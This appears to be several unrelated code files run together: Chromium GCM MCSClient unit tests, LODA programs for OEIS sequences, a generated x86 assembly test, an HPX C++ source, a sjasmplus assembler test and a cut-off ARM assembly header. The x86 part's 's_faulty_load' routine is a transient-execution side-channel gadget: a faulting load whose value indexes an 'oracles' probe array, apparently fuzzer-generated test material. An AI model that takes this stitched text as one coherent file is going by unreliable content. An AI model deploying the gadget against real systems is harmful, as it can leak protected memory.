WaitForMCSEvent(); PumpLoop(); EXPECT_TRUE(GetFakeHandler()->AllOutgoingMessagesReceived()); } // Handle a selective ack that only acks some messages. The remaining unacked // messages should be resent. On restart, those same unacked messages should be // resent, and any pending acks for incoming messages should also be resent. TEST_F(MCSClientTest, SelectiveAckMidStream) { BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); // Server stream id 2 ("s1"). // Acks client stream id 0 (login). MCSMessage sMessage1(BuildDataMessage("from", "category", "X", 0, "s1", kTTLValue, 1, 0, "", 0, IMMEDIATE_ACK_NO)); GetFakeHandler()->ReceiveMessage(sMessage1); WaitForMCSEvent(); PumpLoop(); // Client stream id 1 ("1"). // Acks server stream id 2 ("s1"). MCSMessage cMessage1(BuildDataMessage("from", "category", "Y", 2, "1", kTTLValue, 1, 0, "", 0, IMMEDIATE_ACK_NO)); GetFakeHandler()->ExpectOutgoingMessage(cMessage1); mcs_client()->SendMessage(cMessage1); PumpLoop(); EXPECT_TRUE(GetFakeHandler()->AllOutgoingMessagesReceived()); // Server stream id 3 ("s2"). // Acks client stream id 1 ("1"). // Confirms ack of server stream id 2 ("s1"). MCSMessage sMessage2(BuildDataMessage("from", "category", "X", 1, "s2", kTTLValue, 1, 0, "", 0, IMMEDIATE_ACK_NO)); GetFakeHandler()->ReceiveMessage(sMessage2); WaitForMCSEvent(); PumpLoop(); // Client Stream id 2 ("2"). // Acks server stream id 3 ("s2"). MCSMessage cMessage2(BuildDataMessage("from", "category", "Y", 3, "2", kTTLValue, 1, 0, "", 0, IMMEDIATE_ACK_NO)); GetFakeHandler()->ExpectOutgoingMessage(cMessage2); mcs_client()->SendMessage(cMessage2); PumpLoop(); EXPECT_TRUE(GetFakeHandler()->AllOutgoingMessagesReceived()); // Simulate the last message being dropped by having the server selectively // ack client message "1". // Client message "2" should be resent, acking server stream id 4 (selective // ack). MCSMessage cMessage3(BuildDataMessage("from", "category", "Y", 4, "2", kTTLValue, 1, 0, "", 0, IMMEDIATE_ACK_NO)); GetFakeHandler()->ExpectOutgoingMessage(cMessage3); std::vector<std::string> acked_ids(1, "1"); std::unique_ptr<mcs_proto::IqStanza> ack(BuildSelectiveAck(acked_ids)); GetFakeHandler()->ReceiveMessage(MCSMessage(kIqStanzaTag, std::move(ack))); WaitForMCSEvent(); PumpLoop(); EXPECT_TRUE(GetFakeHandler()->AllOutgoingMessagesReceived()); // Rebuild the client without any further acks from server. Note that this // resets the stream ids. // Sever message "s2" should be acked as part of login. // Client message "2" should be resent. StoreCredentials(); BuildMCSClient(); InitializeClient(); acked_ids[0] = "s2"; LoginClient(acked_ids); MCSMessage cMessage4(BuildDataMessage("from", "category", "Y", 1, "2", kTTLValue, 1, 0, "", 0, IMMEDIATE_ACK_NO)); GetFakeHandler()->ExpectOutgoingMessage(cMessage4); PumpLoop(); EXPECT_TRUE(GetFakeHandler()->AllOutgoingMessagesReceived()); } // Receive some messages. On restart, the login request should contain the // appropriate acknowledged ids. TEST_F(MCSClientTest, AckOnLogin) { BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); // Receive some messages. std::vector<std::string> id_list; for (int i = 1; i <= kMessageBatchSize; ++i) { id_list.push_back(base::IntToString(i)); MCSMessage message(BuildDataMessage("from", "category", "X", 1, id_list.back(), kTTLValue, 1, 0, "", 0, IMMEDIATE_ACK_NO)); GetFakeHandler()->ReceiveMessage(message); WaitForMCSEvent(); PumpLoop(); } // Restart the client. StoreCredentials(); BuildMCSClient(); InitializeClient(); LoginClient(id_list); } // Receive some messages. On the next send, the outgoing message should contain // the appropriate last stream id received field to ack the received messages. TEST_F(MCSClientTest, AckOnSend) { BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); // Receive some messages. std::vector<std::string> id_list; for (int i = 1; i <= kMessageBatchSize; ++i) { id_list.push_back(base::IntToString(i)); MCSMessage message(BuildDataMessage("from", "category", id_list.back(), 1, id_list.back(), kTTLValue, 1, 0, "", 0, IMMEDIATE_ACK_NO)); GetFakeHandler()->ReceiveMessage(message); PumpLoop(); } // Trigger a message send, which should acknowledge via stream ack. MCSMessage message(BuildDataMessage("from", "category", "X", kMessageBatchSize + 1, "1", kTTLValue, 1, 0, "", 0, IMMEDIATE_ACK_NO)); GetFakeHandler()->ExpectOutgoingMessage(message); mcs_client()->SendMessage(message); EXPECT_TRUE(GetFakeHandler()->AllOutgoingMessagesReceived()); } // Receive the ack limit in messages, which should trigger an automatic // stream ack. Receive a heartbeat to confirm the ack. TEST_F(MCSClientTest, AckWhenLimitReachedWithHeartbeat) { BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); // The stream ack. std::unique_ptr<mcs_proto::IqStanza> ack = BuildStreamAck(); ack->set_last_stream_id_received(kAckLimitSize + 1); GetFakeHandler()->ExpectOutgoingMessage( MCSMessage(kIqStanzaTag, std::move(ack))); // Receive some messages. std::vector<std::string> id_list; for (int i = 1; i <= kAckLimitSize; ++i) { id_list.push_back(base::IntToString(i)); MCSMessage message(BuildDataMessage("from", "category", id_list.back(), 1, id_list.back(), kTTLValue, 1, 0, "", 0, IMMEDIATE_ACK_NO)); GetFakeHandler()->ReceiveMessage(message); WaitForMCSEvent(); PumpLoop(); } EXPECT_TRUE(GetFakeHandler()->AllOutgoingMessagesReceived()); // Receive a heartbeat confirming the ack (and receive the heartbeat ack). std::unique_ptr<mcs_proto::HeartbeatPing> heartbeat( new mcs_proto::HeartbeatPing()); heartbeat->set_last_stream_id_received(2); std::unique_ptr<mcs_proto::HeartbeatAck> heartbeat_ack( new mcs_proto::HeartbeatAck()); heartbeat_ack->set_last_stream_id_received(kAckLimitSize + 2); GetFakeHandler()->ExpectOutgoingMessage( MCSMessage(kHeartbeatAckTag, std::move(heartbeat_ack))); GetFakeHandler()->ReceiveMessage( MCSMessage(kHeartbeatPingTag, std::move(heartbeat))); PumpLoop(); EXPECT_TRUE(GetFakeHandler()->AllOutgoingMessagesReceived()); // Rebuild the client. Nothing should be sent on login. StoreCredentials(); BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); EXPECT_TRUE(GetFakeHandler()->AllOutgoingMessagesReceived()); } // If a message's TTL has expired by the time it reaches the front of the send // queue, it should be dropped. TEST_F(MCSClientTest, ExpiredTTLOnSend) { BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); MCSMessage message(BuildDataMessage("from", "category", "X", 1, "1", kTTLValue, 1, 0, "", 0, IMMEDIATE_ACK_NO)); // Advance time to after the TTL. clock()->Advance(base::TimeDelta::FromSeconds(kTTLValue + 2)); EXPECT_TRUE(sent_message_id().empty()); mcs_client()->SendMessage(message); // No messages should be sent, but the callback should still be invoked. EXPECT_EQ("X", sent_message_id()); EXPECT_EQ(MCSClient::TTL_EXCEEDED, message_send_status()); EXPECT_TRUE(GetFakeHandler()->AllOutgoingMessagesReceived()); } TEST_F(MCSClientTest, ExpiredTTLOnRestart) { BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); GetFakeHandler()->set_fail_send(true); MCSMessage message(BuildDataMessage("from", "category", "X", 1, "1", kTTLValue, 1, 0, "", 0, IMMEDIATE_ACK_NO)); // The initial (failed) send. GetFakeHandler()->ExpectOutgoingMessage(message); GetFakeHandler()->set_fail_send(false); mcs_client()->SendMessage(message); PumpLoop(); EXPECT_TRUE(GetFakeHandler()->AllOutgoingMessagesReceived()); // Move the clock forward and rebuild the client, which should fail the // message send on restart. clock()->Advance(base::TimeDelta::FromSeconds(kTTLValue + 2)); StoreCredentials(); BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); PumpLoop(); EXPECT_EQ("X", sent_message_id()); EXPECT_EQ(MCSClient::TTL_EXCEEDED, message_send_status()); EXPECT_TRUE(GetFakeHandler()->AllOutgoingMessagesReceived()); } // Sending two messages with the same collapse key and same app id while // disconnected should only send the latter of the two on reconnection. TEST_F(MCSClientTest, CollapseKeysSameApp) { BuildMCSClient(); InitializeClient(); MCSMessage message(BuildDataMessage("from", "app", "message id 1", 1, "1", kTTLValue, 1, 0, "token", 0, IMMEDIATE_ACK_NO)); mcs_client()->SendMessage(message); MCSMessage message2(BuildDataMessage("from", "app", "message id 2", 1, "1", kTTLValue, 1, 0, "token", 0, IMMEDIATE_ACK_NO)); mcs_client()->SendMessage(message2); LoginClient(std::vector<std::string>()); GetFakeHandler()->ExpectOutgoingMessage(message2); PumpLoop(); } // Sending two messages with the same collapse key and different app id while // disconnected should not perform any collapsing. TEST_F(MCSClientTest, CollapseKeysDifferentApp) { BuildMCSClient(); InitializeClient(); MCSMessage message(BuildDataMessage("from", "app", "message id 1", 1, "1", kTTLValue, 1, 0, "token", 0, IMMEDIATE_ACK_NO)); mcs_client()->SendMessage(message); MCSMessage message2(BuildDataMessage("from", "app 2", "message id 2", 1, "2", kTTLValue, 1, 0, "token", 0, IMMEDIATE_ACK_NO)); mcs_client()->SendMessage(message2); LoginClient(std::vector<std::string>()); GetFakeHandler()->ExpectOutgoingMessage(message); GetFakeHandler()->ExpectOutgoingMessage(message2); PumpLoop(); } // Sending two messages with the same collapse key and app id, but different // user, while disconnected, should not perform any collapsing. TEST_F(MCSClientTest, CollapseKeysDifferentUser) { BuildMCSClient(); InitializeClient(); MCSMessage message(BuildDataMessage("from", "app", "message id 1", 1, "1", kTTLValue, 1, 0, "token", 0, IMMEDIATE_ACK_NO)); mcs_client()->SendMessage(message); MCSMessage message2(BuildDataMessage("from", "app", "message id 2", 1, "2", kTTLValue, 1, 0, "token", 1, IMMEDIATE_ACK_NO)); mcs_client()->SendMessage(message2); LoginClient(std::vector<std::string>()); GetFakeHandler()->ExpectOutgoingMessage(message); GetFakeHandler()->ExpectOutgoingMessage(message2); PumpLoop(); } // Test case for setting a custom heartbeat interval, when it is too short. // Covers both connection restart and storing of custom intervals. TEST_F(MCSClientTest, CustomHeartbeatIntervalTooShort) { BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); PumpLoop(); StoreCredentials(); HeartbeatManager* hb_manager = mcs_client()->GetHeartbeatManagerForTesting(); // By default custom client interval is not set. EXPECT_FALSE(hb_manager->HasClientHeartbeatInterval()); const std::string component_1 = "component1"; int interval_ms = 15 * 1000; // 15 seconds, too low. mcs_client()->AddHeartbeatInterval(component_1, interval_ms); // Setting was too low so it was ignored. EXPECT_FALSE(hb_manager->HasClientHeartbeatInterval()); // Restore and check again to make sure that nothing was set in store. BuildMCSClient(); InitializeClient(); LoginClientWithHeartbeat(std::vector<std::string>(), 0); PumpLoop(); hb_manager = mcs_client()->GetHeartbeatManagerForTesting(); EXPECT_FALSE(hb_manager->HasClientHeartbeatInterval()); } // Test case for setting a custom heartbeat interval, when it is too long. // Covers both connection restart and storing of custom intervals. TEST_F(MCSClientTest, CustomHeartbeatIntervalTooLong) { BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); PumpLoop(); StoreCredentials(); HeartbeatManager* hb_manager = mcs_client()->GetHeartbeatManagerForTesting(); const std::string component_1 = "component1"; int interval_ms = 60 * 60 * 1000; // 1 hour, too high. mcs_client()->AddHeartbeatInterval(component_1, interval_ms); // Setting was too high, again it was ignored. EXPECT_FALSE(hb_manager->HasClientHeartbeatInterval()); // Restore and check again to make sure that nothing was set in store. BuildMCSClient(); InitializeClient(); LoginClientWithHeartbeat(std::vector<std::string>(), 0); PumpLoop(); // Setting was too high, again it was ignored. hb_manager = mcs_client()->GetHeartbeatManagerForTesting(); EXPECT_FALSE(hb_manager->HasClientHeartbeatInterval()); } // Tests adding and removing custom heartbeat interval. // Covers both connection restart and storing of custom intervals. TEST_F(MCSClientTest, CustomHeartbeatIntervalSingleInterval) { BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); PumpLoop(); StoreCredentials(); TestConnectionListener test_connection_listener; connection_factory()->SetConnectionListener(&test_connection_listener); HeartbeatManager* hb_manager = mcs_client()->GetHeartbeatManagerForTesting(); const std::string component_1 = "component1"; int interval_ms = 5 * 60 * 1000; // 5 minutes. A valid setting. AddExpectedLoginRequest(std::vector<std::string>(), interval_ms); mcs_client()->AddHeartbeatInterval(component_1, interval_ms); PumpLoop(); // Interval was OK. HearbeatManager should get that setting now. EXPECT_TRUE(hb_manager->HasClientHeartbeatInterval()); EXPECT_EQ(interval_ms, hb_manager->GetClientHeartbeatIntervalMs()); EXPECT_EQ(1, test_connection_listener.get_disconnect_counter()); // Check that setting was persisted and will take effect upon restart. BuildMCSClient(); InitializeClient(); LoginClientWithHeartbeat(std::vector<std::string>(), interval_ms); PumpLoop(); // HB manger uses the shortest persisted interval after restart. hb_manager = mcs_client()->GetHeartbeatManagerForTesting(); EXPECT_TRUE(hb_manager->HasClientHeartbeatInterval()); EXPECT_EQ(interval_ms, hb_manager->GetClientHeartbeatIntervalMs()); mcs_client()->RemoveHeartbeatInterval(component_1); PumpLoop(); // Check that setting was persisted and will take effect upon restart. BuildMCSClient(); InitializeClient(); LoginClientWithHeartbeat(std::vector<std::string>(), 0); PumpLoop(); hb_manager = mcs_client()->GetHeartbeatManagerForTesting(); EXPECT_FALSE(hb_manager->HasClientHeartbeatInterval()); } // Tests adding custom heartbeat interval before connection is initialized. TEST_F(MCSClientTest, CustomHeartbeatIntervalSetBeforeInitialize) { BuildMCSClient(); const std::string component_1 = "component1"; int interval_ms = 5 * 60 * 1000; // 5 minutes. A valid setting. mcs_client()->AddHeartbeatInterval(component_1, interval_ms); InitializeClient(); LoginClientWithHeartbeat(std::vector<std::string>(), interval_ms); HeartbeatManager* hb_manager = mcs_client()->GetHeartbeatManagerForTesting(); EXPECT_TRUE(hb_manager->HasClientHeartbeatInterval()); } // Tests adding custom heartbeat interval after connection is initialized, but // but before login is sent. TEST_F(MCSClientTest, CustomHeartbeatIntervalSetBeforeLogin) { BuildMCSClient(); const std::string component_1 = "component1"; int interval_ms = 5 * 60 * 1000; // 5 minutes. A valid setting. InitializeClient(); mcs_client()->AddHeartbeatInterval(component_1, interval_ms); LoginClientWithHeartbeat(std::vector<std::string>(), interval_ms); HeartbeatManager* hb_manager = mcs_client()->GetHeartbeatManagerForTesting(); EXPECT_TRUE(hb_manager->HasClientHeartbeatInterval()); } // Tests situation when two heartbeat intervals are set and second is longer. // Covers both connection restart and storing of custom intervals. TEST_F(MCSClientTest, CustomHeartbeatIntervalSecondIntervalLonger) { BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); PumpLoop(); StoreCredentials(); TestConnectionListener test_connection_listener; connection_factory()->SetConnectionListener(&test_connection_listener); HeartbeatManager* hb_manager = mcs_client()->GetHeartbeatManagerForTesting(); const std::string component_1 = "component1"; int interval_ms = 5 * 60 * 1000; // 5 minutes. A valid setting. AddExpectedLoginRequest(std::vector<std::string>(), interval_ms); mcs_client()->AddHeartbeatInterval(component_1, interval_ms); PumpLoop(); const std::string component_2 = "component2"; int other_interval_ms = 10 * 60 * 1000; // 10 minutes. A valid setting. mcs_client()->AddHeartbeatInterval(component_2, other_interval_ms); PumpLoop(); // Interval was OK, but longer. HearbeatManager will use the first one. EXPECT_TRUE(hb_manager->HasClientHeartbeatInterval()); EXPECT_EQ(interval_ms, hb_manager->GetClientHeartbeatIntervalMs()); EXPECT_EQ(1, test_connection_listener.get_disconnect_counter()); // Check that setting was persisted and will take effect upon restart. BuildMCSClient(); InitializeClient(); LoginClientWithHeartbeat(std::vector<std::string>(), interval_ms); PumpLoop(); // HB manger uses the shortest persisted interval after restart. hb_manager = mcs_client()->GetHeartbeatManagerForTesting(); EXPECT_TRUE(hb_manager->HasClientHeartbeatInterval()); EXPECT_EQ(interval_ms, hb_manager->GetClientHeartbeatIntervalMs()); } // Tests situation when two heartbeat intervals are set and second is shorter. // Covers both connection restart and storing of custom intervals. TEST_F(MCSClientTest, CustomHeartbeatIntervalSecondIntervalShorter) { BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); PumpLoop(); StoreCredentials(); TestConnectionListener test_connection_listener; connection_factory()->SetConnectionListener(&test_connection_listener); HeartbeatManager* hb_manager = mcs_client()->GetHeartbeatManagerForTesting(); const std::string component_1 = "component1"; int interval_ms = 5 * 60 * 1000; // 5 minutes. A valid setting. AddExpectedLoginRequest(std::vector<std::string>(), interval_ms); mcs_client()->AddHeartbeatInterval(component_1, interval_ms); PumpLoop(); const std::string component_2 = "component2"; int other_interval_ms = 3 * 60 * 1000; // 3 minutes. A valid setting. AddExpectedLoginRequest(std::vector<std::string>(), other_interval_ms); mcs_client()->AddHeartbeatInterval(component_2, other_interval_ms); PumpLoop(); // Interval was OK. HearbeatManager should get that setting now. EXPECT_TRUE(hb_manager->HasClientHeartbeatInterval()); EXPECT_EQ(other_interval_ms, hb_manager->GetClientHeartbeatIntervalMs()); EXPECT_EQ(2, test_connection_listener.get_disconnect_counter()); // Check that setting was persisted and will take effect upon restart. BuildMCSClient(); InitializeClient(); LoginClientWithHeartbeat(std::vector<std::string>(), other_interval_ms); PumpLoop(); // HB manger uses the shortest persisted interval after restart. hb_manager = mcs_client()->GetHeartbeatManagerForTesting(); EXPECT_TRUE(hb_manager->HasClientHeartbeatInterval()); EXPECT_EQ(other_interval_ms, hb_manager->GetClientHeartbeatIntervalMs()); } // Tests situation shorter of two intervals is removed. // Covers both connection restart and storing of custom intervals. TEST_F(MCSClientTest, CustomHeartbeatIntervalRemoveShorterInterval) { BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); PumpLoop(); StoreCredentials(); TestConnectionListener test_connection_listener; connection_factory()->SetConnectionListener(&test_connection_listener); HeartbeatManager* hb_manager = mcs_client()->GetHeartbeatManagerForTesting(); const std::string component_1 = "component1"; int interval_ms = 5 * 60 * 1000; // 5 minutes. A valid setting. AddExpectedLoginRequest(std::vector<std::string>(), interval_ms); mcs_client()->AddHeartbeatInterval(component_1, interval_ms); PumpLoop(); const std::string component_2 = "component2"; int other_interval_ms = 3 * 60 * 1000; // 3 minutes. A valid setting. AddExpectedLoginRequest(std::vector<std::string>(), other_interval_ms); mcs_client()->AddHeartbeatInterval(component_2, other_interval_ms); PumpLoop(); mcs_client()->RemoveHeartbeatInterval(component_2); PumpLoop(); // Removing the lowest setting reverts to second lowest. EXPECT_TRUE(hb_manager->HasClientHeartbeatInterval()); EXPECT_EQ(interval_ms, hb_manager->GetClientHeartbeatIntervalMs()); // No connection reset expected. EXPECT_EQ(2, test_connection_listener.get_disconnect_counter()); // Check that setting was persisted and will take effect upon restart. BuildMCSClient(); InitializeClient(); LoginClientWithHeartbeat(std::vector<std::string>(), interval_ms); PumpLoop(); // HB manger uses the shortest persisted interval after restart. hb_manager = mcs_client()->GetHeartbeatManagerForTesting(); EXPECT_TRUE(hb_manager->HasClientHeartbeatInterval()); EXPECT_EQ(interval_ms, hb_manager->GetClientHeartbeatIntervalMs()); } // Receive a message with immediate ack request, which should trigger an // automatic stream ack. TEST_F(MCSClientTest, AckWhenImmediateAckRequested) { BuildMCSClient(); InitializeClient(); LoginClient(std::vector<std::string>()); // The stream ack. std::unique_ptr<mcs_proto::IqStanza> ack = BuildStreamAck(); ack->set_last_stream_id_received(kAckLimitSize - 1); GetFakeHandler()->ExpectOutgoingMessage( MCSMessage(kIqStanzaTag, std::move(ack))); // Receive some messages. for (int i = 1; i < kAckLimitSize - 2; ++i) { std::string id(base::IntToString(i)); MCSMessage message(BuildDataMessage("from", "category", id, 1, id, kTTLValue, 1, 0, "", 0, IMMEDIATE_ACK_NO)); GetFakeHandler()->ReceiveMessage(message); WaitForMCSEvent(); PumpLoop(); } // This message expects immediate ACK, which means it will happen before the // ACK limit size is reached. All of the preceding messages will be acked at // the same time. std::string ack_id(base::IntToString(kAckLimitSize - 1)); MCSMessage message(BuildDataMessage("from", "category", ack_id, 1, ack_id, kTTLValue, 1, 0, "", 0, IMMEDIATE_ACK_YES)); GetFakeHandler()->ReceiveMessage(message); WaitForMCSEvent(); PumpLoop(); EXPECT_TRUE(GetFakeHandler()->AllOutgoingMessagesReceived()); } } // namespace } // namespace gcm
; A269681: Number of length-6 0..n arrays with no repeated value differing from the previous repeated value by other than plus or minus one modulo n+1. ; 22,462,2976,12390,39156,102606,234912,485766,927780,1662606,2827776,4604262,7224756,10982670,16241856,23447046,33135012,45946446,62638560,84098406,111356916,145603662,188202336,240706950,304878756,382703886 mov $5,$0 lpb $0 sub $0,1 mov $1,7 lpe add $1,5 mul $1,2 add $1,12 mov $2,104 mov $6,$5 lpb $2 add $1,$6 sub $2,1 lpe mov $3,$5 lpb $3 sub $3,1 add $4,$6 lpe mov $2,147 mov $6,$4 lpb $2 add $1,$6 sub $2,1 lpe mov $3,$5 mov $4,0 lpb $3 sub $3,1 add $4,$6 lpe mov $2,112 mov $6,$4 lpb $2 add $1,$6 sub $2,1 lpe mov $3,$5 mov $4,0 lpb $3 sub $3,1 add $4,$6 lpe mov $2,50 mov $6,$4 lpb $2 add $1,$6 sub $2,1 lpe mov $3,$5 mov $4,0 lpb $3 sub $3,1 add $4,$6 lpe mov $2,12 mov $6,$4 lpb $2 add $1,$6 sub $2,1 lpe mov $3,$5 mov $4,0 lpb $3 sub $3,1 add $4,$6 lpe mov $2,1 mov $6,$4 lpb $2 add $1,$6 sub $2,1 lpe
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r8 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x1c86a, %r10 nop and %rbx, %rbx mov (%r10), %di nop nop add %rcx, %rcx lea addresses_WT_ht+0x1248a, %r10 nop xor %r8, %r8 movb $0x61, (%r10) inc %r10 lea addresses_UC_ht+0x1b5ea, %rsi lea addresses_WC_ht+0xdeea, %rdi nop nop nop add %r11, %r11 mov $11, %rcx rep movsb nop nop nop nop nop xor %rcx, %rcx lea addresses_normal_ht+0xefea, %r11 nop nop add $35150, %rsi movl $0x61626364, (%r11) nop nop nop nop add $29724, %rbx lea addresses_WT_ht+0x3fb2, %r8 nop nop nop nop nop sub $34557, %r11 mov (%r8), %si nop nop nop nop sub $56788, %r11 pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r13 push %r15 push %rcx push %rdx // Store lea addresses_WC+0xddea, %r10 nop nop nop nop nop xor %r11, %r11 movw $0x5152, (%r10) nop nop nop nop cmp %rdx, %rdx // Store lea addresses_A+0x2dea, %rcx nop nop nop add %r13, %r13 mov $0x5152535455565758, %r11 movq %r11, %xmm7 vmovups %ymm7, (%rcx) nop nop nop nop xor $59754, %r12 // Store lea addresses_RW+0x1df22, %r15 nop nop nop add $11702, %r10 movb $0x51, (%r15) nop nop nop nop xor %r15, %r15 // Faulty Load lea addresses_A+0xf5ea, %r13 nop nop and %r10, %r10 mov (%r13), %r11w lea oracles, %r15 and $0xff, %r11 shlq $12, %r11 mov (%r15,%r11,1), %r11 pop %rdx pop %rcx pop %r15 pop %r13 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 9}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 10}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 3}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_A', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 6}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_WT_ht', 'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 5}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 3}} {'00': 310} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; A022532: Nexus numbers (n+1)^16-n^16. ; 1,65535,42981185,4251920575,148292923329,2668522016831,30411820662145,248242046141055,1571545212141185,8146979811148159,35949729863572161,138934529031464255,480532350288143425,1512536728626191295,4390455017903519489,11878335717996660991,30214447801957316865,72778339220927383295,167001882471026915905,366918586432378832319,775208690241985328321,1580792806097079814975,3121248919341933505665,5983964375264107910015,11166489574441856331649,20325678534041911169151,36157700177443635803585 sub $2,$0 add $0,1 pow $0,16 pow $2,16 sub $0,$2
// Copyright (c) 2007-2016 Hartmut Kaiser // Copyright (c) 2011 Bryce Lelbach // // SPDX-License-Identifier: BSL-1.0 // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) #include <hpx/execution/executors/current_executor.hpp> namespace hpx { namespace threads { parallel::execution::current_executor get_executor( thread_id_type const& id, error_code& ec) { if (HPX_UNLIKELY(!id)) { HPX_THROWS_IF(ec, null_thread_id, "hpx::threads::get_executor", "null thread id encountered"); return parallel::execution::current_executor( static_cast<policies::scheduler_base*>(nullptr)); } if (&ec != &throws) ec = make_success_code(); return parallel::execution::current_executor( get_thread_id_data(id)->get_scheduler_base()); } }} // namespace hpx::threads namespace hpx { namespace this_thread { parallel::execution::current_executor get_executor(error_code& ec) { return threads::get_executor(threads::get_self_id(), ec); } }} // namespace hpx::this_thread
out (c),1 ; "illegal" error, only "0" is valid out (c),0 ; "warning" about `out (c),0` being unstable out (c),0 ; out0-ok ; suppressed warning ASSERT 0==__ERRORS__ ; this assert should fail ASSERT 0==__WARNINGS__ ; this assert should fail ; update these asserts when editing the file, to make it pass ASSERT 1==__WARNINGS__ ASSERT 3==__ERRORS__
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ;;; Microsoft Research Singularity ;;; ;;; Copyright (c) Microsoft Corporation. All rights reserved. ;;; ;;; This file contains ARM-specific assembly code. ;;; |defining ?g_CompareExchange@Class_System_Threading_Interlocked@@SA?AUStruct_System_Threading_ThreadState@@PAU2@U2@1@Z| EQU 1 |defining ?g_CompareExchange@Class_System_Threading_Interlocked@@SAHPAHHH@Z| EQU 1 |defining ?g_CompareExchange@Class_System_Threading_Interlocked@@SAIPAIII@Z| EQU 1 |defining ?g_CompareExchange@Class_System_Threading_Interlocked@@SAMPAMMM@Z| EQU 1 |defining ?g_CompareExchange@Class_System_Threading_Interlocked@@SAPAUClass_System_Object@@PAPAU2@PAU2@1@Z| EQU 1 |defining ?g_CompareExchange@Class_System_Threading_Interlocked@@SAPAUStruct_Microsoft_Singularity_Memory_HandleTable_HandleEntry@@PAPAU2@PAU2@1@Z| EQU 1 |defining ?g_CompareExchange@Class_System_Threading_Interlocked@@SAPAUStruct_Microsoft_Singularity_Memory_HandleTable_HandlePage@@PAPAU2@PAU2@1@Z| EQU 1 |defining ?g_CompareExchange@Class_System_Threading_Interlocked@@SAPAUuintPtr@@PAPAU2@PAU2@1@Z| EQU 1 |defining ?g_CompareExchange@Class_System_Threading_Interlocked@@SAPAUvoid@@PAPAU2@PAU2@1@Z| EQU 1 |defining ?g_CompareExchange@Class_System_Threading_Interlocked@@SA_JPA_J_J1@Z| EQU 1 |defining ?g_CompareExchange@Class_System_Threading_Interlocked@@SA_KPA_K_K1@Z| EQU 1 |defining ?g_Decrement@Class_System_Threading_Interlocked@@SAHPAH@Z| EQU 1 |defining ?g_Exchange@Class_System_Threading_Interlocked@@SAHPAHH@Z| EQU 1 |defining ?g_Exchange@Class_System_Threading_Interlocked@@SAIPAII@Z| EQU 1 |defining ?g_Exchange@Class_System_Threading_Interlocked@@SAMPAMM@Z| EQU 1 |defining ?g_Exchange@Class_System_Threading_Interlocked@@SAPAUClass_System_Object@@PAPAU2@PAU2@@Z| EQU 1 |defining ?g_Exchange@Class_System_Threading_Interlocked@@SAPAUuintPtr@@PAPAU2@PAU2@@Z| EQU 